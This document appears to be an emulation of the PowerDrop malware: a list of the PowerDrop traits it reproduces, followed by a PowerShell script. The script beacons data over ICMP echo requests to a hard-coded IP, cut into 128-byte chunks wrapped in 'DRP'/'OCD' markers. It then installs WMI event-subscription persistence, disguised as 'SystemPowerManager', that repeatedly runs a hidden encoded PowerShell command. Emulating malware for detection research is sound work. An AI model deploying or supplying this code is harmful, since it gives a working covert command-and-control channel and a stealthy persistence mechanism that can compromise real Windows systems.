My script, PowerDropping, currently accomplishes the following parts of the PowerDrop behavior:
- It sets a buffer size of 128 bytes, matching the chunk size PowerDrop uses when responses exceed this length.
- It uses an ICMPClient, which aligns with PowerDrop's use of ICMP Echo Request messages.
- It includes the use of a hard-coded IP address, similar to PowerDrop's hard-coded IP address for command and control communication.
- It includes data in the ICMP Echo Request message. While my script uses a test string, PowerDrop uses a UTF16-LE encoded string, often a simple string like "!".
- It includes a response timeout of 60 seconds, which is the same as PowerDrop's dwell time after sending a beacon.
- It uses "DRP" and "OCD" as markers, aligning with PowerDrop's use of these strings as prepending and postpending markers in responses.
- It splits oversized data into multiple messages, which aligns with PowerDrop's behavior for responses larger than 128 bytes.
This does not cover all the functionality.
$BufferSize = 128
$ICMPClient = New-Object System.Net.NetworkInformation.Ping
$IPAddress = "8.8.8.8"
$sendbytes = [System.Text.Encoding]::ASCII.GetBytes("This is some test data for an ICMP echo request.")
$fix = [System.Text.Encoding]::UTF8.GetBytes("DRP")
$pix = [System.Text.Encoding]::UTF8.GetBytes("OCD")
if ($sendbytes.Length -gt $BufferSize) {
$i = 0
$start = 0
$index = [Math]::Floor($sendbytes.Length / $BufferSize)
while ($i -lt $index) {
$endIndex = ($i + 1) * $BufferSize - 1
$sendbytes2 = $sendbytes[$start..$endIndex]
$pingReply = $ICMPClient.Send($IPAddress, 60 * 1000, $fix + $sendbytes2 + $pix)
Write-Output ("RoundTrip time: " + $pingReply.RoundtripTime)
$start = $endIndex + 1
$i += 1
}
$remainingIndex = $sendbytes.Length % $BufferSize
if ($remainingIndex -ne 0) {
$sendbytes2 = $sendbytes[$start..($sendbytes.Length - 1)]
$pingReply = $ICMPClient.Send($IPAddress, 60 * 1000, $fix + $sendbytes2 + $pix)
Write-Output ("RoundTrip time: " + $pingReply.RoundtripTime)
}
} else {
$pingReply = $ICMPClient.Send($IPAddress, 60 * 1000, $fix + $sendbytes + $pix)
Write-Output ("RoundTrip time: " + $pingReply.RoundtripTime)
}
# Define WMI objects
$filter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
$consumer = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
# Set properties for the filter
$filter.EventNamespace = "root\cimv2"
$filter.Name = "SystemPowerManager"
$filter.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 120 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$filter.QueryLanguage = "WQL"
$filter.Put()
# Set properties for the consumer
$consumer.CommandLineTemplate = "powershell -window hidden -enc <encodedScript>"
$consumer.Name = "SystemPowerManager"
$consumer.Put()
# Create the binding
$binding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$binding.Consumer = $consumer
$binding.Filter = $filter
$binding.Put()